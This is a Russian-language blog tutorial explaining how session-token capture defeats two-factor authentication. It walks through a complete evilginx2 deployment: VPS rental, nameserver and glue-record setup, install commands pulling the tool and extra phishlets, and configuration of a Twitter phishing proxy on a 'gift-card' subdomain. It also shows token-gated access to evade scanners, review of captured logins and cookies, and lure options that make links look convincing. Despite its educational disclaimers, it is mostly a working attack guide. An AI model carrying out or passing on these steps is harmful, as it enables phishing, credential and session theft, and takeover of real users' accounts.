Кража паролей и обход двухфакторной аутентификации с evilginx2

Как работает двухфакторная аутентификация

Двухфакторная аутентификация нужна для усиления защиты информации пользователя. С помощью неё можно защитить вход в аккаунт электронной почты, электронных кошельков, различных сервисов связанных с деньгами и их суррогатами.

Принцип работы двухфакторной аутентификации заключается в том, что требуется подтверждение личности пользователя двумя разными методами. Одним из этих методов обычно является пароль, который пользователь придумал сам. А второй элемент аутентификации должен быть получен по другому каналу, который пользователь привязал к своему аккаунту. Таким другим каналом может быть может быть одноразовый код из СМС сообщения, код-ответ из специального приложения (используется, например, в WebMoney), одноразовый пароль, выданный банкоматом (используется, например, в Сбербанк-онлайн) и другие варианты.

В целом двухфакторная аутентификация позволяет более надёжно защитить данные пользователя, поскольку для входа в аккаунт злоумышленнику уже недостаточно просто перехватить или подобрать пароль — также требуется код из другого источника, а коды в большинстве случаев являются одноразовыми. Поскольку вероятность взлома сразу двух устройств одного пользователя (например, компьютера для кражи пароля и мобильного телефона для кражи СМС с кодом) является очень низкой, то двухфакторная аутентификация является довольно надёжным методом защиты аккаунтов.

Как взломать двухфакторную аутентификацию

Крепкость цепи, как известно, определяется крепкостью самого слабого звена. Чтобы понять, где в двухфакторной аутентификации самое слабое звено, рассмотрим технические аспекты её работы.

Всё начинается с того, что пользователь переходит на сайт и вводит свой пароль. Затем по другому каналу он получает второй пароль/код для входа на сайт. Всё современно и безопасно.

В случае удачного входа, как удалённый сервис «запомнит» этого пользователя, как будет отличать его запросы от других? А здесь всё по старинке — с помощью токена (маркера) сохранённого в кукиз. В принципе, это единственный вариант, который предусмотрен в самом протоколе HTTP.

Поскольку перехватить одновременно и пароль, и код из СМС редко представляется возможным, то более простым вариантом является перехват токена (кукиз), который выдаётся пользователю уже после входа. После перехвата этого маркера злоумышленник может сохранить их в кукиз своего веб-браузера и получить доступ к сервисам пользователя,  защищённым двухфакторной аутентификацией — вводить какие-либо пароли и коды из СМС злоумышленнику не нужно!

Как реализовать обход двухфакторной аутентификации

Популярным вариантом является фишинговая атака, во время которой злоумышленник под каким-либо предлогом заманивает пользователя на свой сайт, который имитирует форму входа настоящего сайта. Пользователь сам вводим учётные данные и код из СМС, злоумышленник использует свой сайт как прокси и передаёт эти пароли настоящему сайту. Если учётные данные верны, то настоящий сайт возвращает токен (или сразу несколько маркеров), который злоумышленник может использовать для получения входа на сайт, защищённый двухфакторной аутентификацией.

evilginx2 для взлома аккаунтов

Чтобы фишинговая атака прошла успешно, нужно учесть ряд тонкостей. Доменное имя не должно вызывать подозрений у пользователя, должно использоваться безопасное HTTPS соединение, сайт для входа должен полностью повторять оригинал, должна использоваться убедительная история, после ввода учётных данных пользователь не должно происходить ничего такого, что вызывает подозрение пользователя и так далее.

Для автоматизации технической части была создана программа evilginx2. Её цель (а также цель этой инструкции, кстати), это показать пользователям пример обхода двухфакторной аутентификации и усилить её безопасность благодаря повышению бдительность пользователей и уменьшению возможности взлома через «человеческий фактор», поскольку с технической точки зрения двухфакторная аутентификация является весьма надёжной.

Инструмент evilginx2 является преемником программы evilginx. Данный инструмент автоматизирует многие технические аспекты, в том числе выступает в роли прозрачного прокси для получения токена, автоматически получает валидный (действительный) SSL сертификат для субдомена, используемого в фишинговой атаке, сохраняет введённые учётные данные, а также перехваченные маркеры.

Фишинг 2.0

Типичная фишинговая атака заключалась в том, что создавалась (клонировалась) страница входа на которую заманивался пользователь. Эта страница входа при вводе имени пользователя и пароля сохраняла их или отправляла злоумышленнику. Такую фишинговую атаку двухфакторная аутентификация нивелирует полностью.

Новый вариант фишинговой атаки заключается в том, что пользователь заманивается на сайт злоумышленника, но вместо показа ему заранее подготовленной HTML страницы, для него проксируется оригинальная страница входа (например, сайта Facebook). Задача атакующего в этой ситуации выполнять роль прозрачного прокси — всё, что вводит пользователь, отправляется легитимному сайту, чтобы легитимный сайт в конечном счёте прислал нам валидный токен.

Может возникнуть вопрос, как обстоят дела с HTTPS, ведь безопасные соединения свели практически на нет атаки человек-посередине. В данной фишинговой атаке HTTPS не является препятствием — между настоящим сайтом и прокси атакующего используется HTTPS соединение, отправляя данные «жертве», атакующий также использует HTTPS соединение, для чего он получает валидный SSL сертификат для своего домена/субдомена.

HTTPS является не единственной проблемой — часто страница входа содержит ссылки на скрипты, файлы стилей и изображений, которые могут размещаться на субдоменах и даже других сайтах. Здесь необходимо решить сразу две проблемы: во-первых, на лету подменять ссылки на наши собственный «злой» сайт, а, во-вторых, обеспечить действительные DNS ответы для наших «злых» субдоменов.

Собственно, именно все эти (а также другие технические задачи) и решает программа evilginx2.

Что такое evilginx2

evilginx2 — это атакующая платформа для настройки фишинговых страниц. Вместо хранения шаблонов страниц входа, она выступает посредником между жертвой и настоящим сайтом, при этом сохраняя все введённые учётные данные и полученные токены и кукиз.

Захват токенов аутентификации позволяет атакующему обойти любую форму 2FA (двухфакторной аутентификации).

Посмотрите на видео демонстрацию, показывающую, как атакующий может удалённо взломать аккаунт Outlook для которого включена 2FA.

Кстати, в отличие от своего предшественника, evilginx2 больше не использует веб-сервер nginx. Программа имеет свой собственный встроенный веб-сервер и свой DNS сервер.

Дисклэймер: проект evilginx2 выпущен только для образовательных целей и должен использоваться только в демонстрациях или легитимных тестированиях на проникновение с письменным разрешением от стороны, в отношении которой выполняется фишинговая атака. Цель заключается в том, чтобы показать, что 2FA не является «серебряной пулей» против попыток фишинга и люди должны быть предупреждены, что их аккаунты могут быть скомпрометированы, если они не будут осторожными.

Настройка сервера для evilginx2

Для фишинговой атаки с evilginx2 нужно много всего:

  • сервер с белым IP
  • доменное имя
  • доступ к настройкам DNS

Кстати, evilginx2 работает даже на Windows, но в этом примере я буду показывать исключительно на Linux.

На сервере, который будет использоваться для фишинговой атаки, не должны быть заняты порты 80, 443 и 53. То есть если на сервере запущен apache или nginx и какая-либо служба для обработки DNS запросов, то их нужно остановить. При запуске evilginx2 скажет вам, если ему не удалось открыть сокет для прослушивания на каком-либо из этих портов.

Для этой инструкции я арендую новый VPS — это недорого, поскольку я планирую тесты закончить за один день. Поскольку сервер новый, то я покажу порядок действий с самого начала.

Итак, регистрируемся у хостера (этой Айхор, там я уже зарегистрирован, поскольку на VPS у меня там работает SuIP.biz). Это отечественный хостер, если вы предпочитаете иностранных, то могу посоветовать DigitalOcean.

Теперь переходим во вкладку Виртуальные серверы и нажимаем кнопку Заказать:

Как я сказал, я арендую VPS только для тестов, поэтому выбираю период 1 день. Кстати, если вы не знаете, выбрать на HDD (обычные жёсткие диски) или на SSD (быстрые диски), то настоятельно рекомендую выбирать именно SSD.

Сама операционная система Linux без графического рабочего стола потребляет где-то 200 мегабайт, поэтому варианта с 1 гигабайтом оперативной памяти нам будет достаточно (нажимаем кнопку Заказать).

На следующей вкладке обратите внимание на операционную систему — по умолчанию там выбрана CentOS — это действительно популярный дистрибутив Linux у хостеров, но я в ней чувствую себя не очень уверенно, поэтому выбираю более привычную мне Debian самой последней версии, причём в конфигурации minimal — никакие панели управления я не признаю:

Меня не смущает, что там alpha версия, поскольку этот сервер будет жить 1 день, для реального веб-сайта или сервиса я бы выбрал последнюю стабильную версию, а не альфу (да и вообще бы установил Arch Linux, конечно).

Публичный IPv4-адрес уже входит в комплект, поэтому больше никаких расходов. Нажимаем кнопку «В корзину».

Оплачиваем и немного ждём, пока для нас развернуть виртуальный выделенный сервер по нашим параметрам.

Через некоторое время приходят данные для входа на сервер. Самое главное, что нам нужно, это IP адрес нашего нового сервера, имя пользователя (root) и пароль.

Теперь нам нужно подключиться по SSH к нашему серверу командой вида:

ssh root@IP_сервера

Если у вас Windows, то вам поможет Cygwin.

У моего сервера IP адрес 185.238.139.203, поэтому подключаюсь к нему следующей командой:

ssh root@185.238.139.203

Делаем на сервере полное обновление и перезагружаемся:

apt update && apt full-upgrade -y
reboot

Теперь нам нужен домен. Домен можно приобрести здесь же, в панели управления хостингом Айхор. Если ваш домен куплен здесь, то в этом случае нужно перейди во вкладку Домены. Затем выбрать домен и нажать кнопку NS:

Здесь нужно будет установить NS записи — ниже показано, какие именно. (А также будут присланы учётные данные для входа на https://dns-manager.marosnet.net/dnsmgr, где нужно будет установить IP домена — это нужно для обычных сайтов, для наших целей здесь не нужно ничего менять).

Но я человек не богатый, поэтому не буду регистрировать новый домен специально для этой инструкции, а воспользуюсь уже имеющимся доменным именем.

Переходим к доменам и нажимаем кнопку NS.

Нам нужно добавить две записи вида:

ns1.yourdomain.com
ns2.yourdomain.com

В качестве yourdomain.com должно быть ваше доменное имя. То есть если я делаю записи для домена softocracy.ru, то они должны быть такими:

ns1.softocracy.ru
ns2.softocracy.ru

Вполне вероятно вы делаете настройку на другом хостинге и там вкладка может называться по-другому, например, сервера имён.

Чтобы понимать, что именно это за настройка, нужно примерно представлять работу DNS серверов. Те, кто уже знает, что это такое, часто представляют себе работу DNS как «запрос-ответ». На самом деле, существуют разные DNS серверы:

  • DNS-серверы, которые знают, где хранятся DNS записи, но сами их не хранят
  • DNS-серверы, которые непосредственно хранят DNS записи, но только некоторой группы доменов
  • DNS-серверы, которые предназначены для обработки запросов пользователей, они при первом к ним запросе сначала обращаются к DNS-серверам первой группы (которые знают, где хранятся DNS записи), те в ответ дают «адрес» DNS-сервера второй группы (которые хранят DNS записи), после этого делается запрос к серверам второй группы, получают нужные DNS записи и сохраняют их на тот случай, если ещё кто-то сделает такой же запрос — поэтому эти серверы называются кэширующими.

Как-то так, но на самом деле чуть сложнее — просто для нас этого представления уже достаточно. Если вам интересно более глубокое понимание DNS, то настоятельно рекомендуется статья «Введение в DNS терминологию, компоненты и концепции» - там всё объяснено подробно и понятно.


Сервер имён который мы сейчас будем настраивать, — это тот DNS сервер, который непосредственно и содержит DNS записи для вашего домена. Причём указывать этот сервер можно только как имя хоста, то есть как субдомены ns1.* и ns2.*, IP адрес не будет принят в качестве сервера имён.

Может возникнуть вопрос, если сервер, который хранит DNS записи, в том числе запись вида A (содержит IP адрес сайта) указывается с помощью имени хоста, например, ns1.softocracy.ru, то как будет найден IP этого самого хоста ns1.softocracy.ru? Ведь все DNS записи о хостах *.softocracy.ru содержит ns1.softocracy.ru…

Специально для разрешения такой закольцованной проблемы используются так называемые glue records. С практической точки зрения это означает, что кроме имени хоста нам нужно ещё указать и IP этого хоста. В Айхор это делается записями вида:

ns1.САЙТ.ru/IP1,IP2
ns2.САЙТ.ru/IP3

То есть после слэша нужно указать один или более IP адресов.

В нашем случае функции сервера имён будет выполнять программа evilginx2, то есть в качестве IP адреса сервера имён нужно указать адрес VDS. У меня это адрес 185.238.139.203. Но IP адреса для каждого сервера имён должны быть уникальными, а у меня только один IP… В общем, один IP я указал правильный, а в качестве второго выбрал случайный в надежде, что всё равно будет работать (забегая вперёд скажу, да, так работает). Поэтому записи следующие:

ns1.softocracy.ru/185.238.139.203
ns2.softocracy.ru/185.238.139.204

Нужно ждать некоторое время, пока информация обновиться. Это может произойти даже только на следующий день.

На других хостингах IP адреса NS серверов могут указываться по-другому. Например, на Хостлэнд также можно изменить NS сервера на любые другие, но в качестве серверов имён принимаются только имена хостов, без IP. Там нужно заранее создать A записи для субдоменов ns1 и ns2 и только после этого указать желаемые NS сервера. В этом случае IP адреса подхватятся автоматически.

Как установить evilginx2

Установка evilginx2 на все дистрибутивы Linux выполняется одинаково.

Следующие команды выполнят установку evilginx2, а также скачают дополнительные фишлеты:

apt install unzip curl
wget -O evilginx_linux.zip https://github.com`curl -s https://github.com/kgretzky/evilginx2/releases | grep -E -o '/kgretzky/evilginx2/releases/download/[0-9.]+/evilginx_linux[0-9a-z._]+zip' | head -n 1`
unzip evilginx_linux.zip -d evilginx
rm evilginx_linux.zip
cd evilginx/

wget -O extra.zip https://github.com/hash3liZer/phishlets/archive/master.zip
unzip extra.zip
mv phishlets-master/* phishlets/
rm -rf extra.zip phishlets-master/

chmod 700 ./evilginx

Запуск для проверки, что всё в порядке:

sudo ./evilginx

Я нашёл ещё один репозиторий фишлетов, но, к сожалению, они предназначены для предыдущей версии и на новой версии они не работают, поскольку немного изменился формат файлов фишлетов. В принципе, после небольшой доработки их можно сделать рабочими и для новой версии evilginx2: https://github.com/asmc/evilginxPhishlets/archive/master.zip

Инструкция по использованию evilginx2

К этому моменту необходимо, чтобы записи о новых Серверах Имён уже распространились по сети DNS серверов — это может потребовать часы или даже сутки.

Чтобы проверить текущее значение NS записей домена, выполните команду dig вида:

dig NS ДОМЕН.ru

Например, для домена softocracy.ru:

dig NS softocracy.ru

Если с DNS записями всё в порядке, то переходим в папку evilginx/ и запускаем программу:

sudo ./evilginx

Я покажу на примере кражи учётных данных Twitter аккаунта.

В следующих командах вместо softocracy.ru вписывайте имя вашего домена, вместо 185.238.139.203 вписывайте IP вашего виртуального частного сервера и вместо twitter вписывайте название интересующего вас фишлета.

Устанавливаем наш домен:

config domain softocracy.ru

И IP адрес нашего сервера:

config ip 185.238.139.203

Придумайте имя субдомена, я особо не старался — поскольку это просто пример:

phishlets hostname twitter twitter.gift-card.softocracy.ru

Владельцы сайтов знают, что каждый, даже недавно созданный сайт, постоянно сканирует какие-то роботы и обходчики. Чтобы случайные люди и программы не натыкались на нашу фишинговую страницу, используется доступ по токену. То есть при создании ссылки, которую мы хотим отправить пользователю, мы добавим в неё токен и пользователь увидит фишинговую страницу, а все случайные посетители — нет.

Установим сайт, куда будут перенаправляться случайные посетители:

config redirect_url https://suay.ru

Установим имя переменной для маркера:

config verification_key specially_for_you

И установим значение, которое должен иметь маркер, чтобы была показана фишинговая страница:

config verification_token twit_cards

Посмотреть все настройки можно командой:

config

Всё готово, включает фишлет twitter:

phishlets enable twitter

Кстати, если вы не настроили NS сервер и хотите всё сделать в стиле Evilginx, в котором для каждого субдомена нужно было сделать свою A запись, то посмотреть используемые субдомены вы можете командой:

phishlets get-hosts twitter

В моём случае выведено:

185.238.139.203 twitter.gift-card.softocracy.ru
185.238.139.203 abs.twitter.gift-card.softocracy.ru
185.238.139.203 api.twitter.gift-card.softocracy.ru

В таком виде можно добавить строки в файл /etc/hosts.

Обратите внимание, что, во-первых, мы получили валидный SSL сертификат для нашего субдомена, об этом говорит строка:

successfully set up SSL/TLS certificates for domains: [twitter.gift-card.softocracy.ru abs.twitter.gift-card.softocracy.ru api.twitter.gift-card.softocracy.ru]

А во-вторых сразу, в первые же секунды после активации веб-сервера пошли не аутенфицированные запросы, то есть это те, кто пытается открыть сайт без верного маркера:

[16:29:54] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36) [89.38.96.189]
[16:30:09] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36) [195.141.89.138]
[16:30:12] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (python-requests/2.20.0) [51.15.106.67]
[16:30:13] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (python-requests/2.20.0) [51.15.106.67]
[16:30:30] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (python-requests/2.20.0) [77.247.181.163]
[16:30:37] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (python-requests/2.21.0) [193.171.202.150]
[16:30:38] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (python-requests/2.21.0) [193.171.202.150]
[16:30:51] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36) [104.154.20.135]
[16:31:00] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko) [18.130.43.200]
[16:31:11] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (python-requests/2.18.4) [62.102.148.68]
[16:31:13] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (python-requests/2.18.4) [62.102.148.68]
[16:31:13] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (python-requests/2.20.0) [185.169.42.133]
[16:31:16] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (python-requests/2.20.0) [185.169.42.133]
[16:31:18] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; rv 11.0) like Gecko) [46.101.94.163]
[16:31:18] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Mobile/15E148 Safari/604.1) [87.114.65.101]
[16:31:18] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko) [18.130.43.200]
[16:31:19] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko) [18.130.43.200]
[16:31:20] [war] [twitter] unauthorized request: https://twitter.gift-card.softocracy.ru/ (Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36) [185.147.80.155]

Попробуем открыть сами сайт без верного токена: https://twitter.gift-card.softocracy.ru. Нас закономерно перебросит на сайт suay.ru.

Наконец, составляем нашу ссылку с верным маркером: https://twitter.gift-card.softocracy.ru?specially_for_you=twit_cards

Наконец-то мы попали в «твиттер»:

На самом деле, в реальной фишинговой атаке ссылку, конечно, нужно было бы обернуть каким-нибудь сократителем ссылок.

Пользователь пытается войти, а мы перехватываем его учётные данные:

Если бы логин и пароль были верными, то мы бы перехватили и кукиз с токеном.

С помощью команды:

sessions

можно увидеть захваченные логины, пароли и токены:

В видео перехваченные кукиз добавляются в браузер с помощью расширения EditThisCookie.

Обратите внимание, что фишинговая страница будет онлайн только если запущен evilginx2, поскольку эта программа обеспечивает работу и веб-сервера, и DNS сервера. Для решения этой проблемы смотрите статью «Как закрыть терминал без убийства запущенной в нём команды».

Статус всех фишлетов можно вывести командой:

phishlets

Приманки (lures)

Приманки позволяют сделать настройки для снижения заметности фишинговой атаки.

Чтобы создать новую приманку для фишлета, например, twitter:

lures create twitter

Чтобы просмотреть имеющиеся приманки:

lures

Некоторые другие опции приманок:

Устанавливает пользовательский url <путь> для приманки с заданным <id>

lures edit path <id> <путь>

Устанавливает url редиректа, куда пользователь будет перенаправлен при успешной авторизации для приманки с заданным <id>

lures edit redirect_url <id> <url_редиректа>

Изменить фишлет, применяется к приманке с заданным <id>

lures edit phishlet <id> <фишлет>

Изменить фишлет, применяется к приманке с заданным <id>:

lures edit info <id> <информация>

Установить заголовок opengraph, который будет показан по превью ссылки для приманки с заданным <id>:

lures edit og_title <id> <заголовок>

Установить описание opengraph которое будет показано по превью ссылки для приманки с заданным <id>:

lures edit og_desc <id> <заголовок>

Установить url изображения opengraph которое будет показано по превью ссылки для приманки с заданным <id>:

lures edit og_image <id> <заголовок>

Установить url для opengraph которая будет показана по превью ссылки для приманки с заданным <id>

lures edit og_url <id> <заголовок>

Заключение

Программа evilginx2 реализует продвинутое исполнение фишинговых атак, позволяющих обходить даже двухфакторную аутентификацию.

Все команды evilginx2: https://kali.tools/?p=4761

У программы имеются и другие, не рассмотренные здесь возможности. Например, можно настроить автозаполнение некоторых полей (к примеру, адреса электронной почты), а также внедрить JavaScript код в фишинговую страницу.

Блог автора evilginx2 в котором описываются важные особенности программы:

Формат файлов фишлетов (2.3.0) — для тех, кто хочет добавить поддержку других сайтов для фишинга: https://github.com/kgretzky/evilginx2/wiki/Phishlet-File-Format-(2.3.0)

Программа evilginx2 и данная инструкция написаны в целях демонстрации возможных атак в случае невнимательности пользователя.

Рекомендуется Вам:

One Comment to Кража паролей и обход двухфакторной аутентификации с evilginx2

  1. Аноним:

    топ, спасибо, очень интересная статья

Добавить комментарий

Ваш e-mail не будет опубликован.